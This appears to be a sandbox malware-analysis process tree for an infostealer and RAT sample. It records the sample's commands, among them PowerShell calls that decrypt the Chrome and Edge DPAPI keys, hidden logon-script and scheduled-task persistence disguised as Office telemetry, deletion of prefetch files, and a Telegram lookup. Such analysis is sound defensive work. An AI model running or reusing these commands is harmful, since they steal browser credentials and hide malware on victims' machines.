                                powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                3⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Network Service Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3004
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5868
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic path win32_VideoController get name
                                3⤵
                                • Detects videocard installed
                                • Suspicious behavior: EnumeratesProcesses
                                PID:2140
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.663cc90fcache""
                              2⤵
                              • Hide Artifacts: Hidden Files and Directories
                              • Suspicious use of WriteProcessMemory
                              PID:1252
                              • C:\Windows\system32\attrib.exe
                                attrib +h +s "C:\Users\Admin\AppData\Roaming\.663cc90fcache"
                                3⤵
                                • Views/modifies file attributes
                                PID:2036
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.663cc90fcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3228
                              • C:\Windows\system32\reg.exe
                                reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.663cc90fcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                3⤵
                                • Registers new Windows logon scripts automatically executed at logon.
                                PID:4584
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.663cc90fcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3016
                              • C:\Windows\system32\schtasks.exe
                                schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.663cc90fcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                3⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:6064
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_031a9fd6621cbd13.dat""
                              2⤵
                              • Hide Artifacts: Hidden Files and Directories
                              • Suspicious use of WriteProcessMemory
                              PID:4432
                              • C:\Windows\system32\attrib.exe
                                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_031a9fd6621cbd13.dat"
                                3⤵
                                • Views/modifies file attributes
                                PID:4196
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:5412
                              • C:\Windows\system32\reg.exe
                                reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                3⤵
                                  PID:5132
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                2⤵
                                  PID:1432
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065294068.bat""
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:1960
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065294068.bat"
                                    3⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1112
                                    • C:\Windows\system32\timeout.exe
                                      timeout /t 5
                                      4⤵
                                      • Delays execution with timeout.exe
                                      PID:4768
                              • C:\Users\Admin\AppData\Roaming\.663cc90fcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                C:\Users\Admin\AppData\Roaming\.663cc90fcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks processor information in registry
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:964
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5340" /FO CSV /NH"
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3728
                                  • C:\Windows\system32\tasklist.exe
                                    tasklist /FI "PID eq 5340" /FO CSV /NH
                                    3⤵
                                    • Enumerates processes with tasklist
                                    PID:4168
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                  2⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3736
                                  • C:\Windows\system32\reg.exe
                                    reg query "HKCU\Software\Telegram Desktop" /v "path"
                                    3⤵
                                      PID:5940
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                    2⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1536
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:3012
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                    2⤵
                                    • Network Service Discovery
                                    • Suspicious use of WriteProcessMemory
                                    PID:1064
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                      3⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Network Service Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4504
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                    2⤵
                                      PID:6016
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic path win32_VideoController get name
                                        3⤵
                                        • Detects videocard installed
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:2528
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.676cc02bcache""
                                      2⤵
                                      • Hide Artifacts: Hidden Files and Directories
                                      PID:5248
                                      • C:\Windows\system32\attrib.exe
                                        attrib +h +s "C:\Users\Admin\AppData\Roaming\.676cc02bcache"
                                        3⤵
                                        • Views/modifies file attributes
                                        PID:4932
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.676cc02bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                      2⤵
                                        PID:3788
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.676cc02bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                          3⤵
                                          • Registers new Windows logon scripts automatically executed at logon.
                                          PID:4512
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.676cc02bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                        2⤵
                                          PID:4456
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.676cc02bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                            3⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:5820
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_e5f12b7c5089fc36.dat""
                                          2⤵
                                          • Hide Artifacts: Hidden Files and Directories
                                          PID:1480
                                          • C:\Windows\system32\attrib.exe
                                            attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_e5f12b7c5089fc36.dat"
                                            3⤵
                                            • Views/modifies file attributes
                                            PID:1400
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                          2⤵
                                            PID:1460
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                              3⤵
                                                PID:920
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                              2⤵
                                                PID:2744
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065299272.bat""
                                                2⤵
                                                  PID:5224
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065299272.bat"
                                                    3⤵
                                                      PID:3024
                                                      • C:\Windows\system32\timeout.exe
                                                        timeout /t 5
                                                        4⤵
                                                        • Delays execution with timeout.exe
                                                        PID:4664
                                                • C:\Users\Admin\AppData\Roaming\.676cc02bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                  C:\Users\Admin\AppData\Roaming\.676cc02bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • Checks processor information in registry
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:2924
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 588" /FO CSV /NH"
                                                    2⤵
                                                      PID:1440
                                                      • C:\Windows\system32\tasklist.exe
                                                        tasklist /FI "PID eq 588" /FO CSV /NH
                                                        3⤵
                                                        • Enumerates processes with tasklist
                                                        PID:5128
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                      2⤵
                                                        PID:2984
                                                        • C:\Windows\system32\reg.exe
                                                          reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                          3⤵
                                                            PID:3956
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                          2⤵
                                                            PID:1080
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                              3⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:3204
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                            2⤵
                                                            • Network Service Discovery
                                                            PID:1752
                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                              3⤵
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Network Service Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:616
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                            2⤵
                                                              PID:3044
                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                wmic path win32_VideoController get name
                                                                3⤵
                                                                • Detects videocard installed
                                                                PID:4760
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.984917a6cache""
                                                              2⤵
                                                              • Hide Artifacts: Hidden Files and Directories
                                                              PID:1828
                                                              • C:\Windows\system32\attrib.exe
                                                                attrib +h +s "C:\Users\Admin\AppData\Roaming\.984917a6cache"
                                                                3⤵
                                                                • Views/modifies file attributes
                                                                PID:5204
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.984917a6cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                              2⤵
                                                                PID:1556
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.984917a6cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                  3⤵
                                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                                  PID:5028
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.984917a6cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                2⤵
                                                                  PID:5072
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.984917a6cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                    3⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1056
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_93ab5c1f61311012.dat""
                                                                  2⤵
                                                                  • Hide Artifacts: Hidden Files and Directories
                                                                  PID:4660
                                                                  • C:\Windows\system32\attrib.exe
                                                                    attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_93ab5c1f61311012.dat"
                                                                    3⤵
                                                                    • Views/modifies file attributes
                                                                    PID:3592
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                  2⤵
                                                                    PID:4708
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                      3⤵
                                                                        PID:4240
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065318838.bat""
                                                                      2⤵
                                                                        PID:5352
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065318838.bat"
                                                                          3⤵
                                                                            PID:3404
                                                                            • C:\Windows\system32\timeout.exe
                                                                              timeout /t 5
                                                                              4⤵
                                                                              • Delays execution with timeout.exe
                                                                              PID:2436
                                                                      • C:\Users\Admin\AppData\Roaming\.984917a6cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                        C:\Users\Admin\AppData\Roaming\.984917a6cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        • Checks processor information in registry
                                                                        PID:4892
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 3248" /FO CSV /NH"
                                                                          2⤵
                                                                            PID:1160
                                                                            • C:\Windows\system32\tasklist.exe
                                                                              tasklist /FI "PID eq 3248" /FO CSV /NH
                                                                              3⤵
                                                                              • Enumerates processes with tasklist
                                                                              PID:2512
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                            2⤵
                                                                              PID:3508
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                3⤵
                                                                                  PID:1776
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                2⤵
                                                                                  PID:2872
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
